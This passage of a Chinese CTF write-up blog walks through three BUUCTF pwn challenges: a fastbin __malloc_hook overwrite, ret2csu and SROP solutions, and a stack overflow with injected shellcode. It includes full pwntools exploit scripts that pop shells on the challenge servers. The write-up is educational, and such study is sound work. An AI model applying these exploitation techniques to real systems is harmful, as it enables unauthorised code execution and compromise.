然后就该对 __malloc_hook 的位置开始写入了,要通过堆溢出写入就只能再其之前有一块堆空间,正规途径当然不行,但是可以参考前文将 fast bin 中强行加入 chunk4 一样将 __malloc_hook 之前的一块空间纳入 fast bin 中。首先找一下这块空间,直接找的话并没有适合加入 fast bin(空间需要小于 0x80 即 size 需要小于 0x91),不过仔细观察可以发现是可以凑出来的,将地址偏移一下即可直观地看出来,注意小端序问题。我们将这类空间称为 fake chunk,字面意思。

上述空间作为 chunk 即 size 值为 0x7F,对应数据空间为 0x68,要像模像样地放入同一张 fast bin 链表中就需要用一个 0x58 到 0x68 的 chunk 来完成。创建大小为 0x60 的 chunk 并释放后,这块空间就会进入 fast bin,而此前放入 unsorted bin 中的那块 chunk 大小为 0x80,所以新申请的 chunk 会从这里拿空间,并且被赋予索引 4。值得注意的是,new_chunk2 地址依旧指向该处,即可以直接将此前获取 fake chunk 地址从 new_chunk2 处写入,这样 fake chunk 就成功加入 fast bin 了。该部分 exp 如下。

代码语言:javascript复制
allocate(0x60) # new_chunk4
free(4)
payload = p64(malloc_hook - 0x23)
fill(2, payload)

接下来只需申请两份 0x60 的空间就可以将 fake chunk 正式作为可访问的堆内存,该部分 exp 如下,值得注意的是 fake chunk 那块空间现在被赋予了索引 6。

代码语言:javascript复制
allocate(0x60) # new_new_chunk4
allocate(0x60) # chunk6

随后将此前拿到的 one_gadget 通过索引 6 覆写到 __malloc_hook 的位置即可。该部分 exp 如下,其中写入点到目的地的偏移为 0x13。

代码语言:javascript复制
payload = p8(0)*3   p64(0)*2   p64(libc_base   0x4526a)
fill(6, payload)

最后,随意申请一块空间,Shell 就到手了。

完整 exp 如下:

代码语言:javascript复制
from pwn import *

#io = process('./babyheap_0ctf_2017')
io = remote('node4.buuoj.cn',27684)

def allocate(size):
    io.recvuntil(b'Command: ')
    io.sendline(b'1')
    io.recvuntil(b"Size: ")
    io.sendline(bytes(str(size),encoding='utf-8'))

def fill(index,txt):
    io.recvuntil(b'Command: ')
    io.sendline(b'2')
    io.recvuntil(b"Index: ")
    io.sendline(bytes(str(index),encoding='utf-8'))
    io.recvuntil(b"Size: ")
    io.sendline(bytes(str(len(txt)),encoding='utf-8'))
    io.recvuntil(b"Content: ")
    io.send(txt)
    # sendline 会在末位加换行符,造成干扰

def free(index):
    io.recvuntil(b'Command: ')
    io.sendline(b'3')
    io.recvuntil(b"Index: ")
    io.sendline(bytes(str(index),encoding='utf-8'))

def dump(index):
    io.recvuntil(b'Command: ')
    io.sendline(b'4')
    io.recvuntil(b"Index: ")
    io.sendline(bytes(str(index),encoding='utf-8'))

allocate(0x10) # chunk0
allocate(0x10) # chunk1
allocate(0x10) # chunk2
allocate(0x10) # chunk3
allocate(0x80) # chunk4
allocate(0x10) # chunk5
free(1)
free(2)

payload = p64(0) * 3   p64(0x21)
payload  = p64(0) * 3   p64(0x21)
payload  = p8(0x80)
fill(0,payload)

payload = p64(0) * 3   p64(0x21)
fill(3,payload)
allocate(0x10) # new_chunk1
allocate(0x10) # new_chunk2
payload = p64(0) * 3   p64(0x91)
fill(3,payload)

free(4)
dump(2)
io.recvuntil(b"Content: n")
main_arena = u64(io.recv(8)) - 0x58

libc = ELF("./libc-2.23.so")
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']

allocate(0x60) # new_chunk4
free(4)
payload = p64(malloc_hook - 0x23)
fill(2, payload)

allocate(0x60) # new_new_chunk4
allocate(0x60) # chunk6

payload = p8(0)*3   p64(0)*2   p64(libc_base   0x4526a)
fill(6, payload)

allocate(23) # 拿来吧你
io.interactive()

ciscn_2019_s_3

先验文件,本题文件为 64 位可执行文件,仅开了 NX 保护。

代码语言:javascript复制
└─$ file ./ciscn_s_3      
./ciscn_s_3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped

└─$ checksec ./ciscn_s_3         
[*] '/home/h-t-m/ciscn_s_3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

本地执行,程序会等待用户输入数据,并将数据打印出来,随后会输出乱码并报段错误终止程序,其中乱码每次执行结果均不一样。

代码语言:javascript复制
└─$ ./ciscn_s_3         
h-t-m myr520
h-t-m myr520
�����6@�����zsh: segmentation fault  ./ciscn_s_3

└─$ ./ciscn_s_3
h-t-m myr520
h-t-m myr520
pé$�6@�ĩ$�zsh: segmentation fault  ./ciscn_s_3

IDA 反编译,主函数仅调用 vuln() 函数,该函数汇编代码如下,存在明显栈溢出,其使用的 sys_read 与 sys_write 均为系统调用。值得注意的是,函数直接通过 retn 提前退出了,因此栈溢出时将不必考虑 rbp 的位置。

代码语言:javascript复制
push    rbp
mov     rbp, rsp
xor     rax, rax
mov     edx, 400h       ; count
lea     rsi, [rsp buf]  ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_read
mov     rax, 1
mov     edx, 30h ; '0'  ; count
lea     rsi, [rsp buf]  ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_write
retn
---------------------------------------------------------------------------
db 90h
---------------------------------------------------------------------------
pop     rbp
retn

程序内容十分简洁,函数以及各字符串全在下图中,没有危险套装,而且直接系统调用,因此也无法使用 ret2libc。有意思的是观察代码可知函数运行过程中 rbp、rsp 值一直都相等。

此前在 others_shellcode 中遇到过系统调用,在 32 位程序中系统调用会先将系统调用号传入 eax 寄存器,然后将参数从左到右依次存入 ebx、ecx、edx 寄存器中,最后通过 int 80h 中断即可进行系统调用,而返回值则存在 eax 寄存器。而本题为 64 位环境,系统调用方式略有不同,首先调用号会放入 rax 寄存器中,参数依次放入 rdi、rsi、rdx 寄存器中,返回值存在 eax 寄存器。最关键的,其使用 syscall 进行系统调用。在 IDA 中还存在一个 gadgets() 函数,看名字可以知道会给我们提供一些 gadget,其汇编代码如下:

代码语言:javascript复制
push    rbp
mov     rbp, rsp
mov     rax, 0Fh
retn
---------------------------------------------------------------------------
mov     rax, 3Bh ; ';'
retn
---------------------------------------------------------------------------
db 90h
---------------------------------------------------------------------------
pop     rbp
retn

该函数存在两个对 rax 寄存器的赋值操作并自带 retn,只需接上 syscall 即可完成对应系统调用。其中 0x0F 对应 rt_sigreturn 函数,而 0x3B 则对应 execve 函数,由这两个系统调用可知本题可使用两种方式解决。

ret2csu

最熟悉的当然是利用 execve 函数来执行 /bin/sh 来获取 Shell,虽然程序中并没有现成的字符串拿来用,但是我们可以通过程序读取输入来将危险字符串存入栈中,然后获取栈地址便可。至于如何获得栈地址,还记得本地运行时的乱码,那是由于程序超额输出的缘故,局部变量占用空间为 0x10 字节,而程序输出了 0x30 字节,根据函数调用规则,程序输出的 0x10 字节数据后紧随的 8 字节数据便是旧的 rbp 地址,该地址与函数变量的栈地址偏移不变,因此可获取此地址后计算得到危险字符串的地址。本地调试栈中数据如下图所示,此时栈中的 rbp 位要留作后续返回操作,所幸 vuln() 函数刚调用,因此可以继续往下走 0x10 便是更早的 rbp。

由图可知该地址到危险字符处的偏移为 0x7fffffffe548 - 0x7fffffffe430 = 0x118。据此就可以构造部分 exp 来获取 /bin/sh 的地址了

代码语言:javascript复制
from pwn import *

io = process('./ciscn_s_3')
#io = remote('node4.buuoj.cn',27022)

vuln_addr = 0x4004ED
payload = (b"/bin/sh").ljust(16,b'')   p64(vuln_addr)
io.sendline(payload)

bin_sh = u64(io.recv()[32:40]) - 0x118
print(hex(bin_sh))

接下来就该传参调用 execve 函数了,该函数有三个参数,函数原型如下:

int execve(const char *filename, char *const argv[], char *const envp[]); filename:用于指定要运行的程序的文件名,/bin/sh 即执行 sh argv:程序的运行参数 envp:程序的环境变量

因此我们实际需要执行的操作为 execve(/bin/sh,NULL,NULL),这三个参数需要分别传入 rdi、rsi、rdx 三个寄存器中。这一步挺熟的了,找 gadget 嘛。不过,实测程序中并不含 pop rdx 操作,因此依靠 gadget 一步写入显然是不行了。不过一步不行,可以两步,这里就不得不介绍一下大部分程序都会内置的初始化函数 __libc_csu_init,此前十分常用的 pop rdi retn 的操作就是截取于此,有问题找它就行,以下是该函数完整汇编代码。

代码语言:javascript复制
        push    r15
        push    r14
        mov     r15d, edi
        push    r13
        push    r12
        lea     r12, __frame_dummy_init_array_entry
        push    rbp
        lea     rbp, __do_global_dtors_aux_fini_array_entry
        push    rbx
        mov     r14, rsi
        mov     r13, rdx
        sub     rbp, r12
        sub     rsp, 8
        sar     rbp, 3
        call    _init_proc
        test    rbp, rbp
        jz      short loc_400596
        xor     ebx, ebx
        nop     dword ptr [rax rax 00000000h]

loc_400580:                             ; CODE XREF: __libc_csu_init 54↓j
        mov     rdx, r13
        mov     rsi, r14
        mov     edi, r15d
        call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12 rbx*8]
        add     rbx, 1
        cmp     rbx, rbp
        jnz     short loc_400580

loc_400596:                             ; CODE XREF: __libc_csu_init 34↑j
        add     rsp, 8
        pop     rbx
        pop     rbp
        pop     r12
        pop     r13
        pop     r14
        pop     r15
        retn

可以看到第 22、23 行使用 mov 指令为 rdx 与 rsi 寄存器赋值,现在只需让 r13 与 r14 中的值为零即可,至于如何置零,就可以使用第 35、36 两行从栈从为其赋值为零。还需要注意的一点是,这串 gadget 完成对 rsi 的赋值之后会继续运行,并在 rbp 与 rbp 相等的情况下将陷入循环,不过在此之前程序还 call 了一个地址,并且该地址依然可控,只需令 rbx 为零,就能通过 r12 控制其继续去往任何地方!

因此,通过栈溢出跳转至上述末尾这六个 pop 操作,就可在栈中逐个安排这些寄存器,并且随后跳转至 loc_400580 进一步完成传参。至于 rdi 的赋值,老朋友了,直接 ROPgadget 找即可。值得注意的是,此前获得 /bin/sh 栈地址后返回占用的是 rbp 位,而程序返回后会先进行 push rbp 操作,抵消了 ret 指令的出栈操作,即再次返回 vuln() 函数时栈空间与此前完全一致。因此需注意填充字符串必须为 /bin/sh,万不可用其他垃圾数据来覆盖。此外,关于 call 指令的目标地址为什么是 bin_sh 0x50 这一点,对栈分析可知填充完数据后该地址正好存的就是 pop_rdi_ret 的地址。由于 call 指令本身可以等价于执行压栈操作后再执行 jmp 至目标地址的操作,因此其并不会直接执行栈中数据,而是跳转至栈中存储的地址所指向的位置。当然我们还需要一条命令来清理一下栈中突然多出来的数据,而正好 pop_rdi_ret 完美符合,复用得非常巧妙。综上构造 payload 如下:

代码语言:javascript复制
pop6_ret = 0x40059A
mov2_addr = 0x400580
pop_rdi_ret = 0x4005A3
mov_rax = 0x4004E2
syscall_addr = 0x400517

payload2 = (b"/bin/sh").ljust(16,b'')      # 恢复栈中 /bin/sh 字符串
payload2  = p64(pop6_ret)        # 溢出至六次 pop 处
payload2  = p64(0) * 2           # rbx 设为零,rbp 也可直接设为零
payload2  = p64(bin_sh   0x50)   # 设置 call 目标为 pop_rdi_ret
payload2  = p64(0) * 3           # r13、r14、r15 均设为零
payload2  = p64(mov2_addr)       # 将 rdx、rsi 赋值为零
payload2  = p64(pop_rdi_ret)   p64(bin_sh)   # 将 /bin/sh 所在地址存入 rdi
payload2  = p64(mov_rax)         # 跳转到设置 rax 为 0xF 处
payload2  = p64(syscall_addr)    # 中断,开始系统调用

当然我们也可以使用 /bin/sh 字符串后面那块被填了垃圾字符的空间来写入随便哪个 pop ret 操作的地址,这样 call 的目标就可以用 bin_sh 0x8 了,实现方法放在如下完整 exp 中,哦对,笔者也是做完才知道,这个方法的名字叫 ret2csu。

代码语言:javascript复制
from pwn import *

# io = process('./ciscn_s_3')
io = remote('node4.buuoj.cn',29761)

vuln_addr = 0x4004ED
payload = (b"/bin/sh").ljust(16,b'')   p64(vuln_addr)
io.sendline(payload)

bin_sh = u64(io.recv()[32:40]) - 0x118
print(hex(bin_sh))

pop6_ret = 0x40059A
mov2_addr = 0x400580
pop_rdi_ret = 0x4005A3
mov_rax = 0x4004E2
syscall_addr = 0x400517

payload2 = b"/bin/shx00"        # 恢复栈中 /bin/sh 字符串
payload2  = p64(pop_rdi_ret)     # 留用,抵消 call
payload2  = p64(pop6_ret)        # 溢出至六次 pop 处
payload2  = p64(0) * 2           # rbx 设为零,rbp 也可直接设为零
payload2  = p64(bin_sh   0x8)    # 设置 call 目标为 pop_rdi_ret
payload2  = p64(0) * 3           # r13、r14、r15 均设为零
payload2  = p64(mov2_addr)       # 将 rdx、rsi 赋值为零
payload2  = p64(pop_rdi_ret)   p64(bin_sh)      # 将 /bin/sh 所在地址存入 rdi
payload2  = p64(mov_rax)         # 跳转到设置 rax 为 0xF 处
payload2  = p64(syscall_addr)    # 中断,开始系统调用

io.sendline(payload2)
io.interactive()

SROP

本题的另一种解法就是利用 gadgets() 函数中另一个系统调用号 0xF 对应的 rt_sigreturn。这里就要涉及到类 UNIX 系统的 signal 机制了,其大致流程如下:

内核向程序发起一个 signal,进程就会被暂时挂起,内核会将进程上下文保存至进程的栈空间中,并在栈顶填上 rt_sigreturn 的地址,我们将这块数据称为 Signal Frame。当 Signal Handler 处理完之后内核就会从栈空间中恢复进程上下文,值得注意的是这一步操作中内核并不会管你的 Signal Frame 从哪里来的。因此只需伪造一个顶部带 rt_sigreturn 的地址的 Signal Frame 即可将进程恢复至我们指定的状态,Signal Frame 结构如下图所示:

在相应位置放上执行 execve('/bin/sh',0,0) 的数据,待执行系统调用 rt_sigreturn 之后程序便会交出 Shell。此外,pwntools 中已经集成了构造 Signal Frame 的攻击,因此可以十分轻松地完成 SROP 攻击。

如下为完整 exp,值得注意的是这次获取栈地址后直接跳转到了读取操作而非 vuln() 函数起始位置,这样实际上就是跳过了开头的 push 操作而已,不过由于对栈的操作整体后移了 8 个字节,因此再次写入 payload 时将不用担心覆盖 /bin/sh 字符串。

代码语言:javascript复制
from pwn import *

io = remote('node4.buuoj.cn',12345)
context.arch = 'amd64'

read_addr = 0x4004F1
payload = (b"/bin/sh").ljust(16,b'')   p64(read_addr)
io.sendline(payload)

bin_sh = u64(io.recv()[32:40]) - 0x118
print(hex(bin_sh))

mov_rax = 0x4004DA
syscall_addr = 0x400517

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload2 = b'a' * 0x10
payload2  = p64(mov_rax)   p64(syscall_addr)
payload2  = bytes(frame)

io.sendline(payload2)
io.interactive()

ez_pz_hackover_2016

先验文件,本题文件为 32 为可执行文件,仅开启 Full RELRO,即整个 GOT 表均为只读。竟然连 NX 保护都不开,也因此程序存在可读写可执行空间。

代码语言:javascript复制
└─$ file ./ez_pz_hackover_2016
./ez_pz_hackover_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=341701ef5091cd200a5fc401bc3a826e3d131086, not stripped

└─$ checksec ./ez_pz_hackover_2016 
[*] '/home/h-t-m/ez_pz_hackover_2016'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

本地执行一下,程序打印了一段应该是地址的值并等待用户输入姓名,随后输出姓名并退出程序,甚至还有个 LOGO。

代码语言:javascript复制
└─$ ./ez_pz_hackover_2016 

             ___ ____
      ___ __| _ _  /
     / -_)_ /  _// / 
     ___/__|_| /___|
        lemon squeezy


Yippie, lets crash: 0xffe459fc
Whats your name?
> h-t-m myr520

Welcome h-t-m myr520!

IDA 反编译,程序的主体功能的实现位于 chall() 函数中,稍微审计代码可知程序起始时打印的地址为局部变量数组 s 的首地址。在数据输入的实现中,可接收字符数小于局部变量所占用的空间,因此此处没有栈溢出漏洞。而在后续实现中,程序在完成数据打印前,还将读入数据末尾的换行符替换为空字符,这样他就是标准的字符串了。并且在打印完成后将其与内部字符串 crashme 作比较,若相等即可进入 vuln() 函数。

代码语言:javascript复制
void *chall()
{
  size_t v0; // eax
  void *result; // eax
  char s[1024]; // [esp Ch] [ebp-40Ch] BYREF
  _BYTE *v3; // [esp 40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %pn", s);
  printf("Whats your name?n");
  printf("> ");
  fgets(s, 1023, stdin);
  v0 = strlen(s);
  v3 = memchr(s, 10, v0);
  if ( v3 )
    *v3 = 0;
  printf("nWelcome %s!n", s);
  result = (void *)strcmp(s, "crashme");
  if ( !result )
    return vuln((int)s, 0x400u);
  return result;
}

vuln() 函数老熟人了,如此命名的必是重点,查看伪代码发现该函数仅仅将字符数组 s 复制进其局部变量 dest 中而已。

代码语言:javascript复制
void *__cdecl vuln(char src, size_t n)
{
  char dest[50]; // [esp 6h] [ebp-32h] BYREF

  return memcpy(dest, &src, n);
}

不过,由于这里的局部变量仅占用 50 字节空间,而传入的数据被允许为最大 1023 字节的字符串,因此只要绕过与 strcmp() 的对比即可在此处完成栈溢出。而 strcmp() 函数的绕过只需数据以内部字符串加空字符为开头即可,毕竟其只对比空字符之前的数据。

在 IDA 中依然没找着危险套装,不过既然程序的栈空间没有开保护,甚至于开头就输出了一个栈地址,因此我们完全可以直接把 shellcode 写在栈里并且通过计算偏移锁定其然后执行,完美。先本地调试一下,把栈中的各偏移算清楚,下图为 memcpy() 函数传参后的栈空间内状态。

由图可知,vuln() 函数的局部变量 dest 此时在栈中的地址为 0xffffd1e6,而由 chall() 函数传入的字符串的地址为 0xffffd220。但是奇怪的是,该地址中存储的值为一个地址,即图中的 0xffffd23c,而该地址才是字符串 crashme 的真实地址,这一点我们可以直接查询栈空间数据来验证,如下图:

所以这是本题的一个小陷阱,这并不是一个常规访问的字符数组,而需要通过首元素作为正式首地址来间接访问,数组起始地址与实际数据起始地址偏移为 0x1C。值得注意的是,那些多余的数据在 memcpy() 函数中均被完整复制了,因此最后 dest 中的数据如下图所示,与原数组完全一致。

所以对于数据在栈中的偏移就有必要考虑上述问题的影响,首先影响的就是栈溢出的实现,因为此时数组实际数据距离栈底偏移为 0x16,因此栈溢出仅需填充这些数据并包含 ebp 位即可,该部分 payload 如下:

代码语言:javascript复制
payload = b'crashmex00'   b'a' * (0x16 - 8   4)

关键的两段栈空间的偏移为 0xffffd220 - 0xffffd1e6 = 0x3a,而程序开头输出的地址如下图所示为实际地址。

因此该地址减去 0x3a 后便到了新写入的真实数据的首地址,再加上 payload 在 shellcode 前所消耗的空间(共 0x1e),就可以锁定 shellcode 在栈中的地址了,该部分 payload 如下:

代码语言:javascript复制
payload  = p32(stack_addr - 0x3a   0x1e)   shellcode

以上就是本题最难的部分了,对于程序打印出来的栈地址的读取以及 shellcode 的构造均放在如下完整 exp 中了。

代码语言:javascript复制
from pwn import *

io = remote('node4.buuoj.cn',29039)
# io = process('./ez_pz_hackover_2016')

io.recvuntil('crash: ')
stack_addr = int(io.recv(10),16)

shellcode = asm(shellcraft.sh())

payload = b'crashmex00'   b'a' * (0x16 - 8   4)
payload  = p32(stack_addr - 0x3a   0x1e)   shellcode
io.sendline(payload)

io.interactive()

后记

  本篇博客作为 PWN 刷题的第二篇,预计字数一万以内,预计工期一星期以内,然而事实上……本篇博客作为 PWN 刷题的第二篇,实际字数近两万,实际工期近两周,综合消耗超过了第一篇刚入门时。

  其实在开始时,一切进展都非常顺利,除了第二题 ciscn_2019_n_5 耗费了些时间,笔者一度在周末杀到了 jarvisoj_level3,毕竟知识点都是在第一篇就学过的,所以字数与工期都在预定范围内。然而最后三篇准备一举刷完完结撒花时,却碰上了未曾涉猎过的系统调用,又陷入了知识点的摸索,随之而来的便是字数飙升与工期延误。本篇最后一题 ez_pz_hackover_2016 虽然并不难,但由于笔者前期拖延太久,因此解题时基本处于麻木状态。

  不过,事实上本篇博客工期内耗费时间最长的还是第二题 ciscn_2019_n_5,由于并没有在网络上找到相关问题的答案,因此笔者只能自行测试查资料,在配置了相当多的环境做实验以及各种扣现有资料的字眼才最终把问题指向 Linux 内核。当然,这纯属因个人好奇而探索,虽然占用了工期,却并没有帮助解题。

  最后呢,由衷感觉 PWN 的路还长,还是得安安心心继续学好一阵子。而后面的内容在网上能找到的资料也越来越少了,BUU 中的解出次数也从第一题的八千多到现在的七百多。也就是说啊,咱这成为优质博客的概率又大了。

0 人点赞